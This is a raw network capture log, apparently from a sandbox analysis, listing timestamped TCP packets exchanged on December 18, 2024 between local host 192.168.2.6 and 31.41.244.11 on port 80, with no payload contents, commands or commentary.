Dec 18, 2024 11:47:14.842690945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.843683004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.843739986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.843795061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.843836069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.844907045 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.845000029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.845019102 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.845043898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.846252918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.846309900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.846379995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.846429110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.847342968 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.847394943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.847480059 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.847523928 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.848510981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.848566055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.848598003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.848635912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.849700928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.849756002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.849813938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.849852085 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.850935936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.850981951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.851007938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.851051092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.852133989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.852179050 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.852243900 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.852283955 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.853337049 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.853389025 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.853425980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.853463888 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.854547024 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.854598045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.854687929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.854729891 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.855859041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.855930090 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.855957985 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.856004000 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.857043982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.857091904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.857188940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.857229948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.858350992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.858393908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.858403921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.858442068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.859391928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.859445095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.859518051 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.859561920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.860600948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.860650063 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.860683918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.860723972 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.861813068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.861857891 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.862042904 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.862085104 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.863167048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.863209963 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.863241911 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.863276958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.864176035 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.864223003 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.864288092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.864331961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.865411997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.865459919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.865467072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.865525961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.994112015 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.994199038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.994220972 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.994255066 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.994352102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.994364023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.994393110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.994419098 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.995503902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.995516062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.995563984 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.996644974 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.996691942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.998016119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.998064995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.998126984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.998167038 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.998637915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.998681068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.998749971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.998789072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.999731064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.999792099 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.999829054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.999871969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.002223015 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.002276897 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.002290964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.002331972 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.002464056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.002482891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.002505064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.002532959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.003253937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.003293991 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.003374100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.003417015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.004390001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.004436970 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.004470110 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.004503012 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.005573988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.005585909 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.005625010 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.006742001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.006787062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.007097006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.007137060 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.008127928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.008140087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.008177996 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.009099960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.009145021 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.009268045 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.009316921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.010240078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.010291100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.010349989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.010390043 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.011392117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.011431932 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.011487961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.011604071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.012695074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.012747049 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.012782097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.012825012 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.013868093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.013919115 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.013921976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.013978004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.015067101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.015124083 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.015126944 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.015185118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.016156912 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.016202927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.016207933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.016267061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.020406008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.020417929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.020428896 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.020468950 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.020520926 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.020605087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.020616055 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.020627022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.020648956 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.020689011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.020847082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.020896912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.021087885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.021131039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.022020102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.022066116 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.022095919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.022139072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.023160934 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.023205996 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.023251057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.023296118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.024312973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.024360895 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.024600983 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.024647951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.025489092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.025541067 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.025615931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.025660992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.026652098 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.026700974 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.026712894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.026829958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.044469118 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.044487000 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.044540882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.044564962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.044703960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.044714928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.044725895 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.044742107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.044751883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.044805050 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.044820070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.044831991 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.044859886 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.044899940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.045034885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045046091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045056105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045073986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.045074940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045085907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045097113 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045108080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045114040 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.045119047 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045160055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.045420885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045471907 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.045679092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045690060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045701981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045713902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045722008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.045725107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045754910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045757055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.045766115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045778990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045787096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.045790911 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045802116 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045808077 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.045813084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045829058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045830011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.045842886 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.045876026 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.045896053 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.046185017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.046199083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.046226025 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.046266079 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.046535969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.046576977 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.046713114 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.046757936 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.047730923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.047791004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.047894001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.047951937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.048894882 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.048960924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.048994064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.049048901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.050049067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.050103903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.050128937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.050172091 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.051245928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.051309109 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.051345110 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.051387072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.052405119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.052463055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.052522898 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.052567005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.053642035 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.053687096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.053699017 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.053730011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.054742098 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.054828882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.054841995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.054891109 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.184736013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.184864044 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.184871912 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.184914112 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.185554981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.185604095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.185609102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.185663939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.186520100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.186564922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.186645031 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.186686039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.187711000 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.187764883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.189074993 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.189126015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.189163923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.189199924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.189677954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.189728022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.189747095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.189800024 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.189836025 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.190865040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.190922976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.190957069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.190992117 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.192002058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.192058086 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.192094088 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.192130089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.193161011 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.193218946 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.193303108 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.193356037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.194338083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.194391966 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.194447994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.194485903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.195524931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.195574999 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.195605993 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.195648909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.196703911 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.196751118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.196805000 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.196841955 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.197904110 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.197973967 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.198029041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.198066950 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.199044943 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.199055910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.199101925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.199126959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.200191021 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.200244904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.200579882 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.200632095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.201404095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.201453924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.201467991 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.201505899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.202910900 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.202965975 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.202995062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.203051090 CET	49806	80	192.168.2.6	31.41.244.11
